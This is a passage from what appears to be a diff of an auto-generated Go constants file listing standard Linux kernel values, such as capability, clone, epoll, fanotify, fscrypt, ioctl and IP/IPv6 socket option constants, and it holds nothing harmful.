-+ CAP_SYS_BOOT = 0x16
-+ CAP_SYS_CHROOT = 0x12
-+ CAP_SYS_MODULE = 0x10
-+ CAP_SYS_NICE = 0x17
-+ CAP_SYS_PACCT = 0x14
-+ CAP_SYS_PTRACE = 0x13
-+ CAP_SYS_RAWIO = 0x11
-+ CAP_SYS_RESOURCE = 0x18
-+ CAP_SYS_TIME = 0x19
-+ CAP_SYS_TTY_CONFIG = 0x1a
-+ CAP_WAKE_ALARM = 0x23
-+ CFLUSH = 0xf
-+ CGROUP2_SUPER_MAGIC = 0x63677270
-+ CGROUP_SUPER_MAGIC = 0x27e0eb
-+ CLOCK_BOOTTIME = 0x7
-+ CLOCK_BOOTTIME_ALARM = 0x9
-+ CLOCK_DEFAULT = 0x0
-+ CLOCK_EXT = 0x1
-+ CLOCK_INT = 0x2
-+ CLOCK_MONOTONIC = 0x1
-+ CLOCK_MONOTONIC_COARSE = 0x6
-+ CLOCK_MONOTONIC_RAW = 0x4
-+ CLOCK_PROCESS_CPUTIME_ID = 0x2
-+ CLOCK_REALTIME = 0x0
-+ CLOCK_REALTIME_ALARM = 0x8
-+ CLOCK_REALTIME_COARSE = 0x5
-+ CLOCK_TAI = 0xb
-+ CLOCK_THREAD_CPUTIME_ID = 0x3
-+ CLOCK_TXFROMRX = 0x4
-+ CLOCK_TXINT = 0x3
-+ CLONE_ARGS_SIZE_VER0 = 0x40
-+ CLONE_ARGS_SIZE_VER1 = 0x50
-+ CLONE_CHILD_CLEARTID = 0x200000
-+ CLONE_CHILD_SETTID = 0x1000000
-+ CLONE_CLEAR_SIGHAND = 0x100000000
-+ CLONE_DETACHED = 0x400000
-+ CLONE_FILES = 0x400
-+ CLONE_FS = 0x200
-+ CLONE_IO = 0x80000000
-+ CLONE_NEWCGROUP = 0x2000000
-+ CLONE_NEWIPC = 0x8000000
-+ CLONE_NEWNET = 0x40000000
-+ CLONE_NEWNS = 0x20000
-+ CLONE_NEWPID = 0x20000000
-+ CLONE_NEWTIME = 0x80
-+ CLONE_NEWUSER = 0x10000000
-+ CLONE_NEWUTS = 0x4000000
-+ CLONE_PARENT = 0x8000
-+ CLONE_PARENT_SETTID = 0x100000
-+ CLONE_PIDFD = 0x1000
-+ CLONE_PTRACE = 0x2000
-+ CLONE_SETTLS = 0x80000
-+ CLONE_SIGHAND = 0x800
-+ CLONE_SYSVSEM = 0x40000
-+ CLONE_THREAD = 0x10000
-+ CLONE_UNTRACED = 0x800000
-+ CLONE_VFORK = 0x4000
-+ CLONE_VM = 0x100
-+ CMSPAR = 0x40000000
-+ CODA_SUPER_MAGIC = 0x73757245
-+ CR0 = 0x0
-+ CRAMFS_MAGIC = 0x28cd3d45
-+ CRTSCTS = 0x80000000
-+ CRYPTO_MAX_NAME = 0x40
-+ CRYPTO_MSG_MAX = 0x15
-+ CRYPTO_NR_MSGTYPES = 0x6
-+ CRYPTO_REPORT_MAXSIZE = 0x160
-+ CS5 = 0x0
-+ CSIGNAL = 0xff
-+ CSTART = 0x11
-+ CSTATUS = 0x0
-+ CSTOP = 0x13
-+ CSUSP = 0x1a
-+ DAXFS_MAGIC = 0x64646178
-+ DEBUGFS_MAGIC = 0x64626720
-+ DEVLINK_CMD_ESWITCH_MODE_GET = 0x1d
-+ DEVLINK_CMD_ESWITCH_MODE_SET = 0x1e
-+ DEVLINK_GENL_MCGRP_CONFIG_NAME = "config"
-+ DEVLINK_GENL_NAME = "devlink"
-+ DEVLINK_GENL_VERSION = 0x1
-+ DEVLINK_SB_THRESHOLD_TO_ALPHA_MAX = 0x14
-+ DEVPTS_SUPER_MAGIC = 0x1cd1
-+ DMA_BUF_MAGIC = 0x444d4142
-+ DT_BLK = 0x6
-+ DT_CHR = 0x2
-+ DT_DIR = 0x4
-+ DT_FIFO = 0x1
-+ DT_LNK = 0xa
-+ DT_REG = 0x8
-+ DT_SOCK = 0xc
-+ DT_UNKNOWN = 0x0
-+ DT_WHT = 0xe
-+ ECHO = 0x8
-+ ECRYPTFS_SUPER_MAGIC = 0xf15f
-+ EFD_SEMAPHORE = 0x1
-+ EFIVARFS_MAGIC = 0xde5e81e4
-+ EFS_SUPER_MAGIC = 0x414a53
-+ ENCODING_DEFAULT = 0x0
-+ ENCODING_FM_MARK = 0x3
-+ ENCODING_FM_SPACE = 0x4
-+ ENCODING_MANCHESTER = 0x5
-+ ENCODING_NRZ = 0x1
-+ ENCODING_NRZI = 0x2
-+ EPOLLERR = 0x8
-+ EPOLLET = 0x80000000
-+ EPOLLEXCLUSIVE = 0x10000000
-+ EPOLLHUP = 0x10
-+ EPOLLIN = 0x1
-+ EPOLLMSG = 0x400
-+ EPOLLONESHOT = 0x40000000
-+ EPOLLOUT = 0x4
-+ EPOLLPRI = 0x2
-+ EPOLLRDBAND = 0x80
-+ EPOLLRDHUP = 0x2000
-+ EPOLLRDNORM = 0x40
-+ EPOLLWAKEUP = 0x20000000
-+ EPOLLWRBAND = 0x200
-+ EPOLLWRNORM = 0x100
-+ EPOLL_CTL_ADD = 0x1
-+ EPOLL_CTL_DEL = 0x2
-+ EPOLL_CTL_MOD = 0x3
-+ EROFS_SUPER_MAGIC_V1 = 0xe0f5e1e2
-+ ETH_P_1588 = 0x88f7
-+ ETH_P_8021AD = 0x88a8
-+ ETH_P_8021AH = 0x88e7
-+ ETH_P_8021Q = 0x8100
-+ ETH_P_80221 = 0x8917
-+ ETH_P_802_2 = 0x4
-+ ETH_P_802_3 = 0x1
-+ ETH_P_802_3_MIN = 0x600
-+ ETH_P_802_EX1 = 0x88b5
-+ ETH_P_AARP = 0x80f3
-+ ETH_P_AF_IUCV = 0xfbfb
-+ ETH_P_ALL = 0x3
-+ ETH_P_AOE = 0x88a2
-+ ETH_P_ARCNET = 0x1a
-+ ETH_P_ARP = 0x806
-+ ETH_P_ATALK = 0x809b
-+ ETH_P_ATMFATE = 0x8884
-+ ETH_P_ATMMPOA = 0x884c
-+ ETH_P_AX25 = 0x2
-+ ETH_P_BATMAN = 0x4305
-+ ETH_P_BPQ = 0x8ff
-+ ETH_P_CAIF = 0xf7
-+ ETH_P_CAN = 0xc
-+ ETH_P_CANFD = 0xd
-+ ETH_P_CONTROL = 0x16
-+ ETH_P_CUST = 0x6006
-+ ETH_P_DDCMP = 0x6
-+ ETH_P_DEC = 0x6000
-+ ETH_P_DIAG = 0x6005
-+ ETH_P_DNA_DL = 0x6001
-+ ETH_P_DNA_RC = 0x6002
-+ ETH_P_DNA_RT = 0x6003
-+ ETH_P_DSA = 0x1b
-+ ETH_P_DSA_8021Q = 0xdadb
-+ ETH_P_ECONET = 0x18
-+ ETH_P_EDSA = 0xdada
-+ ETH_P_ERSPAN = 0x88be
-+ ETH_P_ERSPAN2 = 0x22eb
-+ ETH_P_FCOE = 0x8906
-+ ETH_P_FIP = 0x8914
-+ ETH_P_HDLC = 0x19
-+ ETH_P_HSR = 0x892f
-+ ETH_P_IBOE = 0x8915
-+ ETH_P_IEEE802154 = 0xf6
-+ ETH_P_IEEEPUP = 0xa00
-+ ETH_P_IEEEPUPAT = 0xa01
-+ ETH_P_IFE = 0xed3e
-+ ETH_P_IP = 0x800
-+ ETH_P_IPV6 = 0x86dd
-+ ETH_P_IPX = 0x8137
-+ ETH_P_IRDA = 0x17
-+ ETH_P_LAT = 0x6004
-+ ETH_P_LINK_CTL = 0x886c
-+ ETH_P_LLDP = 0x88cc
-+ ETH_P_LOCALTALK = 0x9
-+ ETH_P_LOOP = 0x60
-+ ETH_P_LOOPBACK = 0x9000
-+ ETH_P_MACSEC = 0x88e5
-+ ETH_P_MAP = 0xf9
-+ ETH_P_MOBITEX = 0x15
-+ ETH_P_MPLS_MC = 0x8848
-+ ETH_P_MPLS_UC = 0x8847
-+ ETH_P_MVRP = 0x88f5
-+ ETH_P_NCSI = 0x88f8
-+ ETH_P_NSH = 0x894f
-+ ETH_P_PAE = 0x888e
-+ ETH_P_PAUSE = 0x8808
-+ ETH_P_PHONET = 0xf5
-+ ETH_P_PPPTALK = 0x10
-+ ETH_P_PPP_DISC = 0x8863
-+ ETH_P_PPP_MP = 0x8
-+ ETH_P_PPP_SES = 0x8864
-+ ETH_P_PREAUTH = 0x88c7
-+ ETH_P_PRP = 0x88fb
-+ ETH_P_PUP = 0x200
-+ ETH_P_PUPAT = 0x201
-+ ETH_P_QINQ1 = 0x9100
-+ ETH_P_QINQ2 = 0x9200
-+ ETH_P_QINQ3 = 0x9300
-+ ETH_P_RARP = 0x8035
-+ ETH_P_SCA = 0x6007
-+ ETH_P_SLOW = 0x8809
-+ ETH_P_SNAP = 0x5
-+ ETH_P_TDLS = 0x890d
-+ ETH_P_TEB = 0x6558
-+ ETH_P_TIPC = 0x88ca
-+ ETH_P_TRAILER = 0x1c
-+ ETH_P_TR_802_2 = 0x11
-+ ETH_P_TSN = 0x22f0
-+ ETH_P_WAN_PPP = 0x7
-+ ETH_P_WCCP = 0x883e
-+ ETH_P_X25 = 0x805
-+ ETH_P_XDSA = 0xf8
-+ EXABYTE_ENABLE_NEST = 0xf0
-+ EXT2_SUPER_MAGIC = 0xef53
-+ EXT3_SUPER_MAGIC = 0xef53
-+ EXT4_SUPER_MAGIC = 0xef53
-+ EXTA = 0xe
-+ EXTB = 0xf
-+ F2FS_SUPER_MAGIC = 0xf2f52010
-+ FALLOC_FL_COLLAPSE_RANGE = 0x8
-+ FALLOC_FL_INSERT_RANGE = 0x20
-+ FALLOC_FL_KEEP_SIZE = 0x1
-+ FALLOC_FL_NO_HIDE_STALE = 0x4
-+ FALLOC_FL_PUNCH_HOLE = 0x2
-+ FALLOC_FL_UNSHARE_RANGE = 0x40
-+ FALLOC_FL_ZERO_RANGE = 0x10
-+ FANOTIFY_METADATA_VERSION = 0x3
-+ FAN_ACCESS = 0x1
-+ FAN_ACCESS_PERM = 0x20000
-+ FAN_ALLOW = 0x1
-+ FAN_ALL_CLASS_BITS = 0xc
-+ FAN_ALL_EVENTS = 0x3b
-+ FAN_ALL_INIT_FLAGS = 0x3f
-+ FAN_ALL_MARK_FLAGS = 0xff
-+ FAN_ALL_OUTGOING_EVENTS = 0x3403b
-+ FAN_ALL_PERM_EVENTS = 0x30000
-+ FAN_ATTRIB = 0x4
-+ FAN_AUDIT = 0x10
-+ FAN_CLASS_CONTENT = 0x4
-+ FAN_CLASS_NOTIF = 0x0
-+ FAN_CLASS_PRE_CONTENT = 0x8
-+ FAN_CLOEXEC = 0x1
-+ FAN_CLOSE = 0x18
-+ FAN_CLOSE_NOWRITE = 0x10
-+ FAN_CLOSE_WRITE = 0x8
-+ FAN_CREATE = 0x100
-+ FAN_DELETE = 0x200
-+ FAN_DELETE_SELF = 0x400
-+ FAN_DENY = 0x2
-+ FAN_ENABLE_AUDIT = 0x40
-+ FAN_EVENT_INFO_TYPE_FID = 0x1
-+ FAN_EVENT_METADATA_LEN = 0x18
-+ FAN_EVENT_ON_CHILD = 0x8000000
-+ FAN_MARK_ADD = 0x1
-+ FAN_MARK_DONT_FOLLOW = 0x4
-+ FAN_MARK_FILESYSTEM = 0x100
-+ FAN_MARK_FLUSH = 0x80
-+ FAN_MARK_IGNORED_MASK = 0x20
-+ FAN_MARK_IGNORED_SURV_MODIFY = 0x40
-+ FAN_MARK_INODE = 0x0
-+ FAN_MARK_MOUNT = 0x10
-+ FAN_MARK_ONLYDIR = 0x8
-+ FAN_MARK_REMOVE = 0x2
-+ FAN_MODIFY = 0x2
-+ FAN_MOVE = 0xc0
-+ FAN_MOVED_FROM = 0x40
-+ FAN_MOVED_TO = 0x80
-+ FAN_MOVE_SELF = 0x800
-+ FAN_NOFD = -0x1
-+ FAN_NONBLOCK = 0x2
-+ FAN_ONDIR = 0x40000000
-+ FAN_OPEN = 0x20
-+ FAN_OPEN_EXEC = 0x1000
-+ FAN_OPEN_EXEC_PERM = 0x40000
-+ FAN_OPEN_PERM = 0x10000
-+ FAN_Q_OVERFLOW = 0x4000
-+ FAN_REPORT_FID = 0x200
-+ FAN_REPORT_TID = 0x100
-+ FAN_UNLIMITED_MARKS = 0x20
-+ FAN_UNLIMITED_QUEUE = 0x10
-+ FD_CLOEXEC = 0x1
-+ FD_SETSIZE = 0x400
-+ FF0 = 0x0
-+ FSCRYPT_KEY_DESCRIPTOR_SIZE = 0x8
-+ FSCRYPT_KEY_DESC_PREFIX = "fscrypt:"
-+ FSCRYPT_KEY_DESC_PREFIX_SIZE = 0x8
-+ FSCRYPT_KEY_IDENTIFIER_SIZE = 0x10
-+ FSCRYPT_KEY_REMOVAL_STATUS_FLAG_FILES_BUSY = 0x1
-+ FSCRYPT_KEY_REMOVAL_STATUS_FLAG_OTHER_USERS = 0x2
-+ FSCRYPT_KEY_SPEC_TYPE_DESCRIPTOR = 0x1
-+ FSCRYPT_KEY_SPEC_TYPE_IDENTIFIER = 0x2
-+ FSCRYPT_KEY_STATUS_ABSENT = 0x1
-+ FSCRYPT_KEY_STATUS_FLAG_ADDED_BY_SELF = 0x1
-+ FSCRYPT_KEY_STATUS_INCOMPLETELY_REMOVED = 0x3
-+ FSCRYPT_KEY_STATUS_PRESENT = 0x2
-+ FSCRYPT_MAX_KEY_SIZE = 0x40
-+ FSCRYPT_MODE_ADIANTUM = 0x9
-+ FSCRYPT_MODE_AES_128_CBC = 0x5
-+ FSCRYPT_MODE_AES_128_CTS = 0x6
-+ FSCRYPT_MODE_AES_256_CTS = 0x4
-+ FSCRYPT_MODE_AES_256_XTS = 0x1
-+ FSCRYPT_POLICY_FLAGS_PAD_16 = 0x2
-+ FSCRYPT_POLICY_FLAGS_PAD_32 = 0x3
-+ FSCRYPT_POLICY_FLAGS_PAD_4 = 0x0
-+ FSCRYPT_POLICY_FLAGS_PAD_8 = 0x1
-+ FSCRYPT_POLICY_FLAGS_PAD_MASK = 0x3
-+ FSCRYPT_POLICY_FLAGS_VALID = 0xf
-+ FSCRYPT_POLICY_FLAG_DIRECT_KEY = 0x4
-+ FSCRYPT_POLICY_FLAG_IV_INO_LBLK_64 = 0x8
-+ FSCRYPT_POLICY_V1 = 0x0
-+ FSCRYPT_POLICY_V2 = 0x2
-+ FS_ENCRYPTION_MODE_ADIANTUM = 0x9
-+ FS_ENCRYPTION_MODE_AES_128_CBC = 0x5
-+ FS_ENCRYPTION_MODE_AES_128_CTS = 0x6
-+ FS_ENCRYPTION_MODE_AES_256_CBC = 0x3
-+ FS_ENCRYPTION_MODE_AES_256_CTS = 0x4
-+ FS_ENCRYPTION_MODE_AES_256_GCM = 0x2
-+ FS_ENCRYPTION_MODE_AES_256_XTS = 0x1
-+ FS_ENCRYPTION_MODE_INVALID = 0x0
-+ FS_ENCRYPTION_MODE_SPECK128_256_CTS = 0x8
-+ FS_ENCRYPTION_MODE_SPECK128_256_XTS = 0x7
-+ FS_IOC_ADD_ENCRYPTION_KEY = 0xc0506617
-+ FS_IOC_GET_ENCRYPTION_KEY_STATUS = 0xc080661a
-+ FS_IOC_GET_ENCRYPTION_POLICY_EX = 0xc0096616
-+ FS_IOC_MEASURE_VERITY = 0xc0046686
-+ FS_IOC_REMOVE_ENCRYPTION_KEY = 0xc0406618
-+ FS_IOC_REMOVE_ENCRYPTION_KEY_ALL_USERS = 0xc0406619
-+ FS_KEY_DESCRIPTOR_SIZE = 0x8
-+ FS_KEY_DESC_PREFIX = "fscrypt:"
-+ FS_KEY_DESC_PREFIX_SIZE = 0x8
-+ FS_MAX_KEY_SIZE = 0x40
-+ FS_POLICY_FLAGS_PAD_16 = 0x2
-+ FS_POLICY_FLAGS_PAD_32 = 0x3
-+ FS_POLICY_FLAGS_PAD_4 = 0x0
-+ FS_POLICY_FLAGS_PAD_8 = 0x1
-+ FS_POLICY_FLAGS_PAD_MASK = 0x3
-+ FS_POLICY_FLAGS_VALID = 0xf
-+ FS_VERITY_FL = 0x100000
-+ FS_VERITY_HASH_ALG_SHA256 = 0x1
-+ FS_VERITY_HASH_ALG_SHA512 = 0x2
-+ FUTEXFS_SUPER_MAGIC = 0xbad1dea
-+ F_ADD_SEALS = 0x409
-+ F_DUPFD = 0x0
-+ F_DUPFD_CLOEXEC = 0x406
-+ F_EXLCK = 0x4
-+ F_GETFD = 0x1
-+ F_GETFL = 0x3
-+ F_GETLEASE = 0x401
-+ F_GETOWN_EX = 0x10
-+ F_GETPIPE_SZ = 0x408
-+ F_GETSIG = 0xb
-+ F_GET_FILE_RW_HINT = 0x40d
-+ F_GET_RW_HINT = 0x40b
-+ F_GET_SEALS = 0x40a
-+ F_LOCK = 0x1
-+ F_NOTIFY = 0x402
-+ F_OFD_GETLK = 0x24
-+ F_OFD_SETLK = 0x25
-+ F_OFD_SETLKW = 0x26
-+ F_OK = 0x0
-+ F_SEAL_FUTURE_WRITE = 0x10
-+ F_SEAL_GROW = 0x4
-+ F_SEAL_SEAL = 0x1
-+ F_SEAL_SHRINK = 0x2
-+ F_SEAL_WRITE = 0x8
-+ F_SETFD = 0x2
-+ F_SETFL = 0x4
-+ F_SETLEASE = 0x400
-+ F_SETOWN_EX = 0xf
-+ F_SETPIPE_SZ = 0x407
-+ F_SETSIG = 0xa
-+ F_SET_FILE_RW_HINT = 0x40e
-+ F_SET_RW_HINT = 0x40c
-+ F_SHLCK = 0x8
-+ F_TEST = 0x3
-+ F_TLOCK = 0x2
-+ F_ULOCK = 0x0
-+ GENL_ADMIN_PERM = 0x1
-+ GENL_CMD_CAP_DO = 0x2
-+ GENL_CMD_CAP_DUMP = 0x4
-+ GENL_CMD_CAP_HASPOL = 0x8
-+ GENL_HDRLEN = 0x4
-+ GENL_ID_CTRL = 0x10
-+ GENL_ID_PMCRAID = 0x12
-+ GENL_ID_VFS_DQUOT = 0x11
-+ GENL_MAX_ID = 0x3ff
-+ GENL_MIN_ID = 0x10
-+ GENL_NAMSIZ = 0x10
-+ GENL_START_ALLOC = 0x13
-+ GENL_UNS_ADMIN_PERM = 0x10
-+ GRND_INSECURE = 0x4
-+ GRND_NONBLOCK = 0x1
-+ GRND_RANDOM = 0x2
-+ HDIO_DRIVE_CMD = 0x31f
-+ HDIO_DRIVE_CMD_AEB = 0x31e
-+ HDIO_DRIVE_CMD_HDR_SIZE = 0x4
-+ HDIO_DRIVE_HOB_HDR_SIZE = 0x8
-+ HDIO_DRIVE_RESET = 0x31c
-+ HDIO_DRIVE_TASK = 0x31e
-+ HDIO_DRIVE_TASKFILE = 0x31d
-+ HDIO_DRIVE_TASK_HDR_SIZE = 0x8
-+ HDIO_GETGEO = 0x301
-+ HDIO_GET_32BIT = 0x309
-+ HDIO_GET_ACOUSTIC = 0x30f
-+ HDIO_GET_ADDRESS = 0x310
-+ HDIO_GET_BUSSTATE = 0x31a
-+ HDIO_GET_DMA = 0x30b
-+ HDIO_GET_IDENTITY = 0x30d
-+ HDIO_GET_KEEPSETTINGS = 0x308
-+ HDIO_GET_MULTCOUNT = 0x304
-+ HDIO_GET_NICE = 0x30c
-+ HDIO_GET_NOWERR = 0x30a
-+ HDIO_GET_QDMA = 0x305
-+ HDIO_GET_UNMASKINTR = 0x302
-+ HDIO_GET_WCACHE = 0x30e
-+ HDIO_OBSOLETE_IDENTITY = 0x307
-+ HDIO_SCAN_HWIF = 0x328
-+ HDIO_SET_32BIT = 0x324
-+ HDIO_SET_ACOUSTIC = 0x32c
-+ HDIO_SET_ADDRESS = 0x32f
-+ HDIO_SET_BUSSTATE = 0x32d
-+ HDIO_SET_DMA = 0x326
-+ HDIO_SET_KEEPSETTINGS = 0x323
-+ HDIO_SET_MULTCOUNT = 0x321
-+ HDIO_SET_NICE = 0x329
-+ HDIO_SET_NOWERR = 0x325
-+ HDIO_SET_PIO_MODE = 0x327
-+ HDIO_SET_QDMA = 0x32e
-+ HDIO_SET_UNMASKINTR = 0x322
-+ HDIO_SET_WCACHE = 0x32b
-+ HDIO_SET_XFER = 0x306
-+ HDIO_TRISTATE_HWIF = 0x31b
-+ HDIO_UNREGISTER_HWIF = 0x32a
-+ HOSTFS_SUPER_MAGIC = 0xc0ffee
-+ HPFS_SUPER_MAGIC = 0xf995e849
-+ HUGETLBFS_MAGIC = 0x958458f6
-+ IBSHIFT = 0x10
-+ ICMPV6_FILTER = 0x1
-+ ICRNL = 0x100
-+ IFA_F_DADFAILED = 0x8
-+ IFA_F_DEPRECATED = 0x20
-+ IFA_F_HOMEADDRESS = 0x10
-+ IFA_F_MANAGETEMPADDR = 0x100
-+ IFA_F_MCAUTOJOIN = 0x400
-+ IFA_F_NODAD = 0x2
-+ IFA_F_NOPREFIXROUTE = 0x200
-+ IFA_F_OPTIMISTIC = 0x4
-+ IFA_F_PERMANENT = 0x80
-+ IFA_F_SECONDARY = 0x1
-+ IFA_F_STABLE_PRIVACY = 0x800
-+ IFA_F_TEMPORARY = 0x1
-+ IFA_F_TENTATIVE = 0x40
-+ IFA_MAX = 0xa
-+ IFF_ALLMULTI = 0x200
-+ IFF_ATTACH_QUEUE = 0x200
-+ IFF_AUTOMEDIA = 0x4000
-+ IFF_BROADCAST = 0x2
-+ IFF_DEBUG = 0x4
-+ IFF_DETACH_QUEUE = 0x400
-+ IFF_DORMANT = 0x20000
-+ IFF_DYNAMIC = 0x8000
-+ IFF_ECHO = 0x40000
-+ IFF_LOOPBACK = 0x8
-+ IFF_LOWER_UP = 0x10000
-+ IFF_MASTER = 0x400
-+ IFF_MULTICAST = 0x1000
-+ IFF_MULTI_QUEUE = 0x100
-+ IFF_NAPI = 0x10
-+ IFF_NAPI_FRAGS = 0x20
-+ IFF_NOARP = 0x80
-+ IFF_NOFILTER = 0x1000
-+ IFF_NOTRAILERS = 0x20
-+ IFF_NO_PI = 0x1000
-+ IFF_ONE_QUEUE = 0x2000
-+ IFF_PERSIST = 0x800
-+ IFF_POINTOPOINT = 0x10
-+ IFF_PORTSEL = 0x2000
-+ IFF_PROMISC = 0x100
-+ IFF_RUNNING = 0x40
-+ IFF_SLAVE = 0x800
-+ IFF_TAP = 0x2
-+ IFF_TUN = 0x1
-+ IFF_TUN_EXCL = 0x8000
-+ IFF_UP = 0x1
-+ IFF_VNET_HDR = 0x4000
-+ IFF_VOLATILE = 0x70c5a
-+ IFNAMSIZ = 0x10
-+ IGNBRK = 0x1
-+ IGNCR = 0x80
-+ IGNPAR = 0x4
-+ IMAXBEL = 0x2000
-+ INLCR = 0x40
-+ INPCK = 0x10
-+ IN_ACCESS = 0x1
-+ IN_ALL_EVENTS = 0xfff
-+ IN_ATTRIB = 0x4
-+ IN_CLASSA_HOST = 0xffffff
-+ IN_CLASSA_MAX = 0x80
-+ IN_CLASSA_NET = 0xff000000
-+ IN_CLASSA_NSHIFT = 0x18
-+ IN_CLASSB_HOST = 0xffff
-+ IN_CLASSB_MAX = 0x10000
-+ IN_CLASSB_NET = 0xffff0000
-+ IN_CLASSB_NSHIFT = 0x10
-+ IN_CLASSC_HOST = 0xff
-+ IN_CLASSC_NET = 0xffffff00
-+ IN_CLASSC_NSHIFT = 0x8
-+ IN_CLOSE = 0x18
-+ IN_CLOSE_NOWRITE = 0x10
-+ IN_CLOSE_WRITE = 0x8
-+ IN_CREATE = 0x100
-+ IN_DELETE = 0x200
-+ IN_DELETE_SELF = 0x400
-+ IN_DONT_FOLLOW = 0x2000000
-+ IN_EXCL_UNLINK = 0x4000000
-+ IN_IGNORED = 0x8000
-+ IN_ISDIR = 0x40000000
-+ IN_LOOPBACKNET = 0x7f
-+ IN_MASK_ADD = 0x20000000
-+ IN_MASK_CREATE = 0x10000000
-+ IN_MODIFY = 0x2
-+ IN_MOVE = 0xc0
-+ IN_MOVED_FROM = 0x40
-+ IN_MOVED_TO = 0x80
-+ IN_MOVE_SELF = 0x800
-+ IN_ONESHOT = 0x80000000
-+ IN_ONLYDIR = 0x1000000
-+ IN_OPEN = 0x20
-+ IN_Q_OVERFLOW = 0x4000
-+ IN_UNMOUNT = 0x2000
-+ IPPROTO_AH = 0x33
-+ IPPROTO_BEETPH = 0x5e
-+ IPPROTO_COMP = 0x6c
-+ IPPROTO_DCCP = 0x21
-+ IPPROTO_DSTOPTS = 0x3c
-+ IPPROTO_EGP = 0x8
-+ IPPROTO_ENCAP = 0x62
-+ IPPROTO_ESP = 0x32
-+ IPPROTO_FRAGMENT = 0x2c
-+ IPPROTO_GRE = 0x2f
-+ IPPROTO_HOPOPTS = 0x0
-+ IPPROTO_ICMP = 0x1
-+ IPPROTO_ICMPV6 = 0x3a
-+ IPPROTO_IDP = 0x16
-+ IPPROTO_IGMP = 0x2
-+ IPPROTO_IP = 0x0
-+ IPPROTO_IPIP = 0x4
-+ IPPROTO_IPV6 = 0x29
-+ IPPROTO_L2TP = 0x73
-+ IPPROTO_MH = 0x87
-+ IPPROTO_MPLS = 0x89
-+ IPPROTO_MTP = 0x5c
-+ IPPROTO_NONE = 0x3b
-+ IPPROTO_PIM = 0x67
-+ IPPROTO_PUP = 0xc
-+ IPPROTO_RAW = 0xff
-+ IPPROTO_ROUTING = 0x2b
-+ IPPROTO_RSVP = 0x2e
-+ IPPROTO_SCTP = 0x84
-+ IPPROTO_TCP = 0x6
-+ IPPROTO_TP = 0x1d
-+ IPPROTO_UDP = 0x11
-+ IPPROTO_UDPLITE = 0x88
-+ IPV6_2292DSTOPTS = 0x4
-+ IPV6_2292HOPLIMIT = 0x8
-+ IPV6_2292HOPOPTS = 0x3
-+ IPV6_2292PKTINFO = 0x2
-+ IPV6_2292PKTOPTIONS = 0x6
-+ IPV6_2292RTHDR = 0x5
-+ IPV6_ADDRFORM = 0x1
-+ IPV6_ADDR_PREFERENCES = 0x48
-+ IPV6_ADD_MEMBERSHIP = 0x14
-+ IPV6_AUTHHDR = 0xa
-+ IPV6_AUTOFLOWLABEL = 0x46
-+ IPV6_CHECKSUM = 0x7
-+ IPV6_DONTFRAG = 0x3e
-+ IPV6_DROP_MEMBERSHIP = 0x15
-+ IPV6_DSTOPTS = 0x3b
-+ IPV6_FREEBIND = 0x4e
-+ IPV6_HDRINCL = 0x24
-+ IPV6_HOPLIMIT = 0x34
-+ IPV6_HOPOPTS = 0x36
-+ IPV6_IPSEC_POLICY = 0x22
-+ IPV6_JOIN_ANYCAST = 0x1b
-+ IPV6_JOIN_GROUP = 0x14
-+ IPV6_LEAVE_ANYCAST = 0x1c
-+ IPV6_LEAVE_GROUP = 0x15
-+ IPV6_MINHOPCOUNT = 0x49
-+ IPV6_MTU = 0x18
-+ IPV6_MTU_DISCOVER = 0x17
-+ IPV6_MULTICAST_ALL = 0x1d
-+ IPV6_MULTICAST_HOPS = 0x12
-+ IPV6_MULTICAST_IF = 0x11
-+ IPV6_MULTICAST_LOOP = 0x13
-+ IPV6_NEXTHOP = 0x9
-+ IPV6_ORIGDSTADDR = 0x4a
-+ IPV6_PATHMTU = 0x3d
-+ IPV6_PKTINFO = 0x32
-+ IPV6_PMTUDISC_DO = 0x2
-+ IPV6_PMTUDISC_DONT = 0x0
-+ IPV6_PMTUDISC_INTERFACE = 0x4
-+ IPV6_PMTUDISC_OMIT = 0x5
-+ IPV6_PMTUDISC_PROBE = 0x3
-+ IPV6_PMTUDISC_WANT = 0x1
-+ IPV6_RECVDSTOPTS = 0x3a
-+ IPV6_RECVERR = 0x19
-+ IPV6_RECVFRAGSIZE = 0x4d
-+ IPV6_RECVHOPLIMIT = 0x33
-+ IPV6_RECVHOPOPTS = 0x35
-+ IPV6_RECVORIGDSTADDR = 0x4a
-+ IPV6_RECVPATHMTU = 0x3c
-+ IPV6_RECVPKTINFO = 0x31
-+ IPV6_RECVRTHDR = 0x38
-+ IPV6_RECVTCLASS = 0x42
-+ IPV6_ROUTER_ALERT = 0x16
-+ IPV6_ROUTER_ALERT_ISOLATE = 0x1e
-+ IPV6_RTHDR = 0x39
-+ IPV6_RTHDRDSTOPTS = 0x37
-+ IPV6_RTHDR_LOOSE = 0x0
-+ IPV6_RTHDR_STRICT = 0x1
-+ IPV6_RTHDR_TYPE_0 = 0x0
-+ IPV6_RXDSTOPTS = 0x3b
-+ IPV6_RXHOPOPTS = 0x36
-+ IPV6_TCLASS = 0x43
-+ IPV6_TRANSPARENT = 0x4b
-+ IPV6_UNICAST_HOPS = 0x10
-+ IPV6_UNICAST_IF = 0x4c
-+ IPV6_V6ONLY = 0x1a
-+ IPV6_XFRM_POLICY = 0x23
-+ IP_ADD_MEMBERSHIP = 0x23
-+ IP_ADD_SOURCE_MEMBERSHIP = 0x27
-+ IP_BIND_ADDRESS_NO_PORT = 0x18
-+ IP_BLOCK_SOURCE = 0x26
-+ IP_CHECKSUM = 0x17
-+ IP_DEFAULT_MULTICAST_LOOP = 0x1
-+ IP_DEFAULT_MULTICAST_TTL = 0x1
-+ IP_DF = 0x4000
-+ IP_DROP_MEMBERSHIP = 0x24
-+ IP_DROP_SOURCE_MEMBERSHIP = 0x28
-+ IP_FREEBIND = 0xf
-+ IP_HDRINCL = 0x3
-+ IP_IPSEC_POLICY = 0x10
-+ IP_MAXPACKET = 0xffff
-+ IP_MAX_MEMBERSHIPS = 0x14
-+ IP_MF = 0x2000
-+ IP_MINTTL = 0x15
-+ IP_MSFILTER = 0x29
-+ IP_MSS = 0x240
-+ IP_MTU = 0xe
-+ IP_MTU_DISCOVER = 0xa
-+ IP_MULTICAST_ALL = 0x31
-+ IP_MULTICAST_IF = 0x20
-+ IP_MULTICAST_LOOP = 0x22
-+ IP_MULTICAST_TTL = 0x21
-+ IP_NODEFRAG = 0x16
-+ IP_OFFMASK = 0x1fff
-+ IP_OPTIONS = 0x4
-+ IP_ORIGDSTADDR = 0x14
-+ IP_PASSSEC = 0x12
-+ IP_PKTINFO = 0x8
-+ IP_PKTOPTIONS = 0x9
-+ IP_PMTUDISC = 0xa
-+ IP_PMTUDISC_DO = 0x2
-+ IP_PMTUDISC_DONT = 0x0
